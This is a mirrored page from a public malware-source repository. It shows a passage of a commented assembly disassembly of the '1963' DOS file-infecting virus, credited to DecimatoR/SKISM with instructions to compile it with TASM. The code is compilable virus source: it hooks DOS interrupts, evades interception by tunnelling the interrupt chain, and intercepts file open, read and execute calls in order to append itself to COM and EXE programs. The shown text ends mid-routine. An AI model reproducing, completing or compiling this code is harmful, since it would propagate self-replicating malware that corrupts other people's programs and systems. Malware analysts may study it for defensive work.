mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
4b9382ddbc
push
1292 lines
55 KiB
NASM
1292 lines
55 KiB
NASM
|
||
PAGE 59,132
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ 1963 VIRUS ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ disassembly by ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ DecimatoR / SKISM ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ 01/15/92 Compile with TASM 2.0 DW 717-367-3501 ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
data_1e equ 4 ; (0000:0004=7FBh)
|
||
data_2e equ 6 ; (0000:0006=70h)
|
||
data_3e equ 4Ch ; (0000:004C=88h)
|
||
data_4e equ 84h ; (0000:0084=16h)
|
||
data_6e equ 0Ah ; (0046:000A=0)
|
||
data_7e equ 16h ; (0046:0016=0)
|
||
data_8e equ 2Ch ; (0046:002C=50h)
|
||
data_9e equ 8ABh ; (0046:08AB=4146h)
|
||
data_10e equ 8ADh ; (0046:08AD=3154h)
|
||
data_11e equ 0Ah ; (08D4:000A=2F9h)
|
||
data_12e equ 0Ch ; (08D4:000C=3872h)
|
||
data_13e equ 100h ; (08D4:0100=0DFh)
|
||
data_14e equ 1 ; (4815:0001=0FFFFh)
|
||
data_15e equ 100h ; (4816:0100=0FFh)
|
||
data_16e equ 1 ; (8343:0001=0FFFFh)
|
||
data_17e equ 0Ah ; (8344:000A=0)
|
||
data_18e equ 0Eh ; (8344:000E=8344h)
|
||
data_49e equ 900h ; (8344:0900=0)
|
||
data_50e equ 902h ; (8344:0902=0)
|
||
data_51e equ 904h ; (8344:0904=8344h)
|
||
data_52e equ 906h ; (8344:0906=0)
|
||
data_53e equ 9EFh ; (8344:09EF=0)
|
||
data_54e equ 10AFh ; (8344:10AF=0)
|
||
data_55e equ 10B1h ; (8344:10B1=0)
|
||
data_56e equ 10B3h ; (8344:10B3=0)
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
virus proc far
|
||
|
||
start:
|
||
mov ah,30h ; '0'
|
||
int 21h ; DOS Services ah=function 30h
|
||
; get DOS version number ax
|
||
cmp al,3
|
||
jb loc_1 ; Jump if below
|
||
mov ax,1200h
|
||
int 2Fh ; Multiplex/Spooler al=func 00h
|
||
; get installed status
|
||
cmp al,0FFh
|
||
loc_1:
|
||
mov ax,0Bh
|
||
jc loc_4 ; Jump if carry Set
|
||
mov ah,4Ah ; 'J'
|
||
mov bx,140h
|
||
int 21h ; DOS Services ah=function 4Ah
|
||
; change mem allocation, bx=siz
|
||
jc loc_4 ; Jump if carry Set
|
||
cli ; Disable interrupts
|
||
push cs
|
||
pop ss
|
||
mov sp,13FEh
|
||
call sub_1 ; (01EB)
|
||
sti ; Enable interrupts
|
||
mov ax,ds:data_8e ; (0046:002C=50h)
|
||
or ax,ax ; Zero ?
|
||
jz loc_5 ; Jump if zero
|
||
call sub_13 ; (07EC)
|
||
mov es,ax
|
||
xor di,di ; Zero register
|
||
xor ax,ax ; Zero register
|
||
loc_2:
|
||
scasw ; Scan es:[di] for ax
|
||
jnz loc_2 ; Jump if not zero
|
||
scasw ; Scan es:[di] for ax
|
||
mov dx,di
|
||
push es
|
||
pop ds
|
||
mov ah,48h ; 'H'
|
||
mov bx,0FFFFh
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
mov ah,48h ; 'H'
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
mov es,ax
|
||
mov ah,49h ; 'I'
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
xor ax,ax ; Zero register
|
||
mov cx,bx
|
||
mov bx,es
|
||
|
||
locloop_3:
|
||
push cx
|
||
mov cx,8
|
||
xor di,di ; Zero register
|
||
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
||
inc bx
|
||
mov es,bx
|
||
pop cx
|
||
loop locloop_3 ; Loop if cx > 0
|
||
|
||
push cs
|
||
pop es
|
||
mov bx,data_51e ; (8344:0904=44h)
|
||
mov di,bx
|
||
stosw ; Store ax to es:[di]
|
||
mov al,80h
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,cs
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,5Ch
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,cs
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,6Ch
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,cs
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,4B00h
|
||
int 21h ; DOS Services ah=function 4Bh
|
||
; run progm @ds:dx, parm @es:bx
|
||
loc_4:
|
||
push cs
|
||
pop ds
|
||
call sub_13 ; (07EC)
|
||
jmp dword ptr cs:data_17e ; (8344:000A=0)
|
||
loc_5:
|
||
mov ax,1220h
|
||
mov bx,5
|
||
int 2Fh ; ??INT Non-standard interrupt.
|
||
push bx
|
||
dec bx
|
||
dec bx
|
||
mov es:[di],bl
|
||
mov ax,1216h
|
||
int 2Fh ; ??INT Non-standard interrupt.
|
||
dec bx
|
||
dec bx
|
||
mov es:[di],bx
|
||
mov ah,48h ; 'H'
|
||
mov bx,0FFFFh
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
mov ah,48h ; 'H'
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
mov ds,ax
|
||
pop bx
|
||
mov ax,4200h
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
mov ah,3Fh ; '?'
|
||
mov dx,data_15e ; (4816:0100=0FFh)
|
||
mov cx,es:[di+11h]
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
jc loc_4 ; Jump if carry Set
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
mov ah,26h ; '&'
|
||
mov dx,ds
|
||
int 21h ; DOS Services ah=function 26h
|
||
; create progm seg prefix dx
|
||
dec dx
|
||
mov es,dx
|
||
mov es:data_14e,ds ; (4815:0001=0FFFFh)
|
||
inc dx
|
||
mov es,dx
|
||
mov ss,dx
|
||
mov sp,0FFFEh
|
||
push ds
|
||
mov ax,100h
|
||
push ax
|
||
retf ; Return far
|
||
|
||
virus endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_1 proc near
|
||
push ds
|
||
mov ax,1203h
|
||
int 2Fh ; Multiplex/Spooler al=func 03h
|
||
; remove all files from queue
|
||
mov cs:data_51e,ds ; (8344:0904=8344h)
|
||
xor si,si ; Zero register
|
||
mov ds,si
|
||
mov di,288h
|
||
mov si,cs
|
||
xchg di,ds:data_1e ; (0000:0004=7FBh)
|
||
xchg si,ds:data_2e ; (0000:0006=70h)
|
||
pushf ; Push flags
|
||
pushf ; Push flags
|
||
pushf ; Push flags
|
||
mov bp,sp
|
||
or byte ptr [bp+1],1
|
||
popf ; Pop flags
|
||
pushf ; Push flags
|
||
pushf ; Push flags
|
||
mov word ptr cs:data_52e,8AFh ; (8344:0906=0)
|
||
mov ah,1
|
||
call dword ptr ds:data_3e ; (0000:004C=2288h)
|
||
popf ; Pop flags
|
||
mov word ptr cs:data_52e,8ABh ; (8344:0906=0)
|
||
mov ah,0Bh
|
||
call dword ptr ds:data_4e ; (0000:0084=1716h)
|
||
popf ; Pop flags
|
||
mov ds:data_1e,di ; (0000:0004=7FBh)
|
||
mov ds:data_2e,si ; (0000:0006=70h)
|
||
pop ds
|
||
push ds
|
||
push es
|
||
mov bx,cs
|
||
mov bp,2AEh
|
||
mov ax,ds:data_9e ; (0046:08AB=4146h)
|
||
mov dx,ds:data_10e ; (0046:08AD=3154h)
|
||
xor si,si ; Zero register
|
||
mov ds,si
|
||
cmp ax,ds:data_4e ; (0000:0084=1716h)
|
||
jne loc_6 ; Jump if not equal
|
||
cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h)
|
||
jne loc_6 ; Jump if not equal
|
||
mov ds:data_4e,bp ; (0000:0084=1716h)
|
||
mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h)
|
||
jmp short loc_10 ; (0285)
|
||
loc_6:
|
||
mov ax,8ABh
|
||
mov es,bx
|
||
mov cx,10h
|
||
cld ; Clear direction
|
||
|
||
locloop_7:
|
||
mov di,ax
|
||
mov ds,dx
|
||
cmpsw ; Cmp [si] to es:[di]
|
||
jnz loc_9 ; Jump if not zero
|
||
cmpsw ; Cmp [si] to es:[di]
|
||
jnz loc_8 ; Jump if not zero
|
||
mov [si-4],bp
|
||
mov [si-2],bx
|
||
loc_8:
|
||
dec si
|
||
dec si
|
||
loc_9:
|
||
dec si
|
||
loop locloop_7 ; Loop if cx > 0
|
||
|
||
xchg si,cx
|
||
inc dx
|
||
cmp dx,bx
|
||
jne locloop_7 ; Jump if not equal
|
||
loc_10:
|
||
pop es
|
||
pop ds
|
||
retn
|
||
sub_1 endp
|
||
|
||
push bp
|
||
mov bp,sp
|
||
push ax
|
||
mov ax,[bp+4]
|
||
cmp ax,cs:data_51e ; (8344:0904=8344h)
|
||
ja loc_11 ; Jump if above
|
||
push bx
|
||
mov bx,cs:data_52e ; (8344:0906=0)
|
||
mov cs:[bx+2],ax
|
||
mov ax,[bp+2]
|
||
mov cs:[bx],ax
|
||
and byte ptr [bp+7],0FEh
|
||
pop bx
|
||
loc_11:
|
||
pop ax
|
||
pop bp
|
||
iret ; Interrupt return
|
||
db 55h, 8Bh,0ECh, 80h,0FCh, 48h
|
||
db 74h, 0Ah, 80h,0FCh, 4Ah, 74h
|
||
db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch
|
||
db 0E8h, 89h, 05h,0E8h,0AFh, 05h
|
||
db 9Ch,0E8h, 87h, 05h,0EBh, 55h
|
||
db 80h,0FCh, 31h, 74h, 05h, 80h
|
||
db 0FCh
|
||
db 4Ch, 75h, 0Dh
|
||
loc_12:
|
||
push bx
|
||
mov bx,13h
|
||
loc_13:
|
||
call sub_5 ; (0532)
|
||
dec bx
|
||
jns loc_13 ; Jump if not sign
|
||
pop bx
|
||
jmp short loc_23 ; (0342)
|
||
loc_14:
|
||
cmp ah,0Fh
|
||
je loc_15 ; Jump if equal
|
||
cmp ah,10h
|
||
je loc_15 ; Jump if equal
|
||
cmp ah,17h
|
||
je loc_15 ; Jump if equal
|
||
cmp ah,23h ; '#'
|
||
jne loc_16 ; Jump if not equal
|
||
loc_15:
|
||
call sub_15 ; (081F)
|
||
jmp short loc_23 ; (0342)
|
||
loc_16:
|
||
cmp ah,3Fh ; '?'
|
||
jne loc_20 ; Jump if not equal
|
||
call sub_5 ; (0532)
|
||
jnc loc_18 ; Jump if carry=0
|
||
mov ax,5
|
||
loc_17:
|
||
jmp loc_37 ; (0403)
|
||
loc_18:
|
||
jnz loc_23 ; Jump if not zero
|
||
call sub_22 ; (0875)
|
||
jc loc_17 ; Jump if carry Set
|
||
pushf ; Push flags
|
||
call sub_24 ; (0884)
|
||
push ds
|
||
pop es
|
||
mov di,dx
|
||
call sub_11 ; (0785)
|
||
call sub_25 ; (0896)
|
||
loc_19:
|
||
popf ; Pop flags
|
||
pop bp
|
||
retf 2 ; Return far
|
||
loc_20:
|
||
cmp ah,3Dh ; '='
|
||
je loc_21 ; Jump if equal
|
||
cmp ah,43h ; 'C'
|
||
je loc_21 ; Jump if equal
|
||
cmp ah,56h ; 'V'
|
||
jne loc_22 ; Jump if not equal
|
||
loc_21:
|
||
call sub_3 ; (0519)
|
||
jmp short loc_23 ; (0342)
|
||
loc_22:
|
||
cmp ah,3Eh ; '>'
|
||
jne loc_24 ; Jump if not equal
|
||
call sub_5 ; (0532)
|
||
loc_23:
|
||
push word ptr [bp+6]
|
||
popf ; Pop flags
|
||
pop bp
|
||
cli ; Disable interrupts
|
||
jmp dword ptr cs:data_20 ; (8344:08AB=0)
|
||
loc_24:
|
||
cmp ah,14h
|
||
je loc_25 ; Jump if equal
|
||
cmp ah,21h ; '!'
|
||
je loc_25 ; Jump if equal
|
||
cmp ah,27h ; '''
|
||
je loc_25 ; Jump if equal
|
||
jmp loc_35 ; (03DE)
|
||
loc_25:
|
||
call sub_15 ; (081F)
|
||
jnc loc_27 ; Jump if carry=0
|
||
loc_26:
|
||
pop bp
|
||
mov al,1
|
||
iret ; Interrupt return
|
||
loc_27:
|
||
jnz loc_23 ; Jump if not zero
|
||
call sub_24 ; (0884)
|
||
call sub_14 ; (0814)
|
||
cmp ah,14h
|
||
jne loc_28 ; Jump if not equal
|
||
mov ax,[si+0Ch]
|
||
mov dx,80h
|
||
mul dx ; dx:ax = reg * ax
|
||
xor bx,bx ; Zero register
|
||
add al,[si+20h]
|
||
adc ah,bl
|
||
adc bx,dx
|
||
xchg ax,bx
|
||
jmp short loc_29 ; (038F)
|
||
loc_28:
|
||
mov ax,[si+23h]
|
||
mov bx,[si+21h]
|
||
loc_29:
|
||
mov cx,[si+0Eh]
|
||
mul cx ; dx:ax = reg * ax
|
||
jnc loc_31 ; Jump if carry=0
|
||
loc_30:
|
||
call sub_25 ; (0896)
|
||
jmp short loc_26 ; (0364)
|
||
loc_31:
|
||
xchg ax,bx
|
||
mul cx ; dx:ax = reg * ax
|
||
add dx,bx
|
||
jc loc_30 ; Jump if carry Set
|
||
mov cs:data_37,ax ; (8344:08D0=0)
|
||
mov cs:data_38,dx ; (8344:08D2=0)
|
||
mov cs:data_39,cx ; (8344:08D4=0)
|
||
call sub_25 ; (0896)
|
||
call sub_22 ; (0875)
|
||
or al,al ; Zero ?
|
||
jz loc_32 ; Jump if zero
|
||
cmp al,3
|
||
jne loc_34 ; Jump if not equal
|
||
loc_32:
|
||
call sub_24 ; (0884)
|
||
cmp ah,27h ; '''
|
||
mov ax,cs:data_39 ; (8344:08D4=0)
|
||
jnz loc_33 ; Jump if not zero
|
||
mul cx ; dx:ax = reg * ax
|
||
jc loc_30 ; Jump if carry Set
|
||
loc_33:
|
||
push ax
|
||
mov ah,2Fh ; '/'
|
||
int 21h ; DOS Services ah=function 2Fh
|
||
; get DTA ptr into es:bx
|
||
mov di,bx
|
||
pop ax
|
||
call sub_11 ; (0785)
|
||
call sub_25 ; (0896)
|
||
loc_34:
|
||
pop bp
|
||
iret ; Interrupt return
|
||
loc_35:
|
||
cmp ax,4B00h
|
||
je loc_38 ; Jump if equal
|
||
cmp ax,4B01h
|
||
je loc_36 ; Jump if equal
|
||
jmp loc_23 ; (0342)
|
||
loc_36:
|
||
call sub_2 ; (042F)
|
||
jc loc_37 ; Jump if carry Set
|
||
push si
|
||
push di
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov si,offset data_41 ; (8344:08E2=0)
|
||
lea di,[bx+0Eh] ; Load effective addr
|
||
cld ; Clear direction
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
loc_37:
|
||
pushf ; Push flags
|
||
shr byte ptr [bp+6],1 ; Shift w/zeros fill
|
||
popf ; Pop flags
|
||
rcl byte ptr [bp+6],1 ; Rotate thru carry
|
||
pop bp
|
||
iret ; Interrupt return
|
||
loc_38:
|
||
call sub_2 ; (042F)
|
||
jc loc_37 ; Jump if carry Set
|
||
push ax
|
||
mov ah,51h ; 'Q'
|
||
int 21h ; DOS Services ah=function 51h
|
||
; get active PSP segment in bx
|
||
mov ds,bx
|
||
mov es,bx
|
||
pop ax
|
||
cli ; Disable interrupts
|
||
mov sp,cs:data_41 ; (8344:08E2=0)
|
||
mov ss,cs:data_42 ; (8344:08E4=0)
|
||
inc sp
|
||
inc sp
|
||
sti ; Enable interrupts
|
||
jmp dword ptr cs:data_43 ; (8344:08E6=0)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2 proc near
|
||
call sub_24 ; (0884)
|
||
stc ; Set carry flag
|
||
call sub_4 ; (051A)
|
||
loc_39:
|
||
mov ax,0Bh
|
||
jc loc_40 ; Jump if carry Set
|
||
cld ; Clear direction
|
||
pushf ; Push flags
|
||
push ds
|
||
mov ax,3522h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov cs:data_24,bx ; (8344:08B7=0)
|
||
mov word ptr cs:data_24+2,es ; (8344:08B9=8344h)
|
||
lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr
|
||
push cs
|
||
pop es
|
||
mov di,offset data_39 ; (8344:08D4=0)
|
||
mov bx,di
|
||
mov cx,7
|
||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||
pop ds
|
||
call sub_16 ; (084C)
|
||
push dx
|
||
mov ax,4B01h
|
||
call sub_23 ; (0879)
|
||
pop dx
|
||
call sub_17 ; (0851)
|
||
jnc loc_42 ; Jump if carry=0
|
||
loc_40:
|
||
mov [bp+8],ax
|
||
loc_41:
|
||
call sub_25 ; (0896)
|
||
retn
|
||
loc_42:
|
||
mov [bp+8],ax
|
||
mov ah,51h ; 'Q'
|
||
int 21h ; DOS Services ah=function 51h
|
||
; get active PSP segment in bx
|
||
mov es,bx
|
||
mov si,[bp]
|
||
lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr
|
||
mov es:data_11e,dx ; (08D4:000A=2F9h)
|
||
mov es:data_12e,ds ; (08D4:000C=3872h)
|
||
mov ax,2522h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
popf ; Pop flags
|
||
jnz loc_41 ; Jump if not zero
|
||
push cs
|
||
pop ds
|
||
mov si,data_51e ; (8344:0904=44h)
|
||
mov di,data_13e ; (08D4:0100=0DFh)
|
||
mov cx,7ABh
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
call sub_7 ; (0758)
|
||
jz loc_44 ; Jump if zero
|
||
loc_43:
|
||
clc ; Clear carry flag
|
||
jmp short loc_41 ; (0470)
|
||
loc_44:
|
||
mov di,bx
|
||
add di,10h
|
||
mov ax,ds:data_55e ; (8344:10B1=0)
|
||
mov word ptr data_43,ax ; (8344:08E6=0)
|
||
mov ax,ds:data_56e ; (8344:10B3=0)
|
||
add ax,di
|
||
mov word ptr data_43+2,ax ; (8344:08E8=0)
|
||
mov cx,ds:data_54e ; (8344:10AF=0)
|
||
or cx,cx ; Zero ?
|
||
jz loc_43 ; Jump if zero
|
||
lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr
|
||
call sub_18 ; (0862)
|
||
jc loc_47 ; Jump if carry Set
|
||
mov bx,ax
|
||
push cx
|
||
push cs
|
||
pop ds
|
||
xor cx,cx ; Zero register
|
||
mov dx,ds:data_50e ; (8344:0902=0)
|
||
call sub_20 ; (086B)
|
||
mov dx,904h
|
||
pop cx
|
||
|
||
locloop_45:
|
||
push cx
|
||
mov cx,4
|
||
call sub_8 ; (0764)
|
||
pop cx
|
||
jc loc_46 ; Jump if carry Set
|
||
mov si,dx
|
||
push ds
|
||
mov ax,[si+2]
|
||
mov si,[si]
|
||
add ax,di
|
||
mov ds,ax
|
||
add [si],di
|
||
pop ds
|
||
loop locloop_45 ; Loop if cx > 0
|
||
|
||
call sub_19 ; (0867)
|
||
jmp short loc_43 ; (04A8)
|
||
loc_46:
|
||
call sub_19 ; (0867)
|
||
loc_47:
|
||
push es
|
||
pop ds
|
||
les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr
|
||
mov ds:data_17e,bx ; (8344:000A=0)
|
||
mov ds:data_18e,es ; (8344:000E=8344h)
|
||
call sub_13 ; (07EC)
|
||
stc ; Set carry flag
|
||
jmp loc_39 ; (0436)
|
||
sub_2 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_3 proc near
|
||
clc ; Clear carry flag
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_4:
|
||
push ax
|
||
push bx
|
||
pushf ; Push flags
|
||
call sub_18 ; (0862)
|
||
jc loc_48 ; Jump if carry Set
|
||
mov bx,ax
|
||
popf ; Pop flags
|
||
pushf ; Push flags
|
||
call sub_6 ; (0533)
|
||
pushf ; Push flags
|
||
call sub_19 ; (0867)
|
||
popf ; Pop flags
|
||
loc_48:
|
||
pop bx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_3 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_5 proc near
|
||
clc ; Clear carry flag
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_6:
|
||
cld ; Clear direction
|
||
call sub_24 ; (0884)
|
||
pushf ; Push flags
|
||
push bx
|
||
mov ax,1220h
|
||
int 2Fh ; ??INT Non-standard interrupt.
|
||
jc loc_49 ; Jump if carry Set
|
||
xor bh,bh ; Zero register
|
||
mov bl,es:[di]
|
||
mov ax,1216h
|
||
int 2Fh ; ??INT Non-standard interrupt.
|
||
jnc loc_50 ; Jump if carry=0
|
||
loc_49:
|
||
call sub_25 ; (0896)
|
||
retn
|
||
loc_50:
|
||
push es
|
||
push cs
|
||
pop ds
|
||
mov ax,3523h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov data_26,bx ; (8344:08BB=0)
|
||
mov word ptr data_26+2,es ; (8344:08BD=8344h)
|
||
inc ax
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov data_28,bx ; (8344:08BF=0)
|
||
mov word ptr data_28+2,es ; (8344:08C1=8344h)
|
||
mov ah,25h ; '%'
|
||
mov dx,offset int_24h_entry
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
dec ax
|
||
inc dx
|
||
inc dx
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
pop es
|
||
pop bx
|
||
mov al,2
|
||
xchg al,es:[di+2]
|
||
mov data_33,al ; (8344:08C9=0)
|
||
mov ax,es:[di+5]
|
||
mov data_34,ax ; (8344:08CA=0)
|
||
mov ax,es:[di+15h]
|
||
mov data_37,ax ; (8344:08D0=0)
|
||
mov ax,es:[di+17h]
|
||
mov data_38,ax ; (8344:08D2=0)
|
||
mov ax,es:[di+11h]
|
||
mov dx,es:[di+13h]
|
||
mov data_35,ax ; (8344:08CC=0)
|
||
mov data_36,dx ; (8344:08CE=0)
|
||
cmp ax,1Ah
|
||
sbb dx,0
|
||
jc loc_55 ; Jump if carry Set
|
||
popf ; Pop flags
|
||
jc loc_52 ; Jump if carry Set
|
||
mov ax,es:[di+28h]
|
||
cmp ax,5845h
|
||
je loc_51 ; Jump if equal
|
||
cmp ax,4F43h
|
||
jne loc_55 ; Jump if not equal
|
||
mov al,4Dh ; 'M'
|
||
loc_51:
|
||
cmp al,es:[di+2Ah]
|
||
jne loc_55 ; Jump if not equal
|
||
loc_52:
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
call sub_20 ; (086B)
|
||
mov dx,8EAh
|
||
mov cl,1Ah
|
||
call sub_8 ; (0764)
|
||
jc loc_57 ; Jump if carry Set
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
call sub_7 ; (0758)
|
||
jnz loc_53 ; Jump if not zero
|
||
mov ax,data_47 ; (8344:08F2=0)
|
||
mov dl,10h
|
||
mul dx ; dx:ax = reg * ax
|
||
mov cx,dx
|
||
mov dx,ax
|
||
loc_53:
|
||
push cx
|
||
push dx
|
||
add dx,7ABh
|
||
adc cx,0
|
||
cmp cx,data_36 ; (8344:08CE=0)
|
||
jne loc_54 ; Jump if not equal
|
||
cmp dx,data_35 ; (8344:08CC=0)
|
||
loc_54:
|
||
pop dx
|
||
pop cx
|
||
jbe loc_56 ; Jump if below or =
|
||
loc_55:
|
||
jmp short loc_62 ; (065D)
|
||
loc_56:
|
||
push cx
|
||
push dx
|
||
call sub_20 ; (086B)
|
||
mov dx,904h
|
||
mov cx,7ABh
|
||
call sub_8 ; (0764)
|
||
jnc loc_58 ; Jump if carry=0
|
||
loc_57:
|
||
jmp short loc_60 ; (0656)
|
||
loc_58:
|
||
push es
|
||
push di
|
||
push cs
|
||
pop es
|
||
mov si,data_53e ; (8344:09EF=0)
|
||
mov di,offset ds:[1EBh] ; (8344:01EB=1Eh)
|
||
mov cx,0C3h
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
pop di
|
||
pop es
|
||
jnz loc_65 ; Jump if not zero
|
||
mov dx,cx
|
||
call sub_21 ; (0870)
|
||
mov cx,7ADh
|
||
mov dx,904h
|
||
call sub_7 ; (0758)
|
||
jnz loc_59 ; Jump if not zero
|
||
add cx,6
|
||
loc_59:
|
||
add es:[di+11h],cx
|
||
adc word ptr es:[di+13h],0
|
||
call sub_8 ; (0764)
|
||
jc loc_60 ; Jump if carry Set
|
||
mov si,dx
|
||
dec cx
|
||
dec cx
|
||
call sub_10 ; (0778)
|
||
cmp dx,[si]
|
||
je loc_61 ; Jump if equal
|
||
loc_60:
|
||
stc ; Set carry flag
|
||
jmp short loc_63 ; (0661)
|
||
loc_61:
|
||
cmp al,al
|
||
jmp short loc_63 ; (0661)
|
||
loc_62:
|
||
mov al,1
|
||
cmp al,0
|
||
loc_63:
|
||
pushf ; Push flags
|
||
loc_64:
|
||
mov si,offset data_33 ; (8344:08C9=0)
|
||
cld ; Clear direction
|
||
inc di
|
||
inc di
|
||
movsb ; Mov [si] to es:[di]
|
||
inc di
|
||
inc di
|
||
movsw ; Mov [si] to es:[di]
|
||
add di,0Ah
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
mov ax,2524h
|
||
lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
dec ax
|
||
lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
popf ; Pop flags
|
||
call sub_25 ; (0896)
|
||
retn
|
||
loc_65:
|
||
test byte ptr es:[di+4],4
|
||
jnz loc_62 ; Jump if not zero
|
||
mov ah,0Dh
|
||
int 21h ; DOS Services ah=function 0Dh
|
||
; flush disk buffers to disk
|
||
push bx
|
||
push ds
|
||
push es
|
||
mov ax,3540h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov data_30,bx ; (8344:08C3=0)
|
||
mov word ptr data_30+2,es ; (8344:08C5=8344h)
|
||
mov al,13h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov data_22,bx ; (8344:08B3=0)
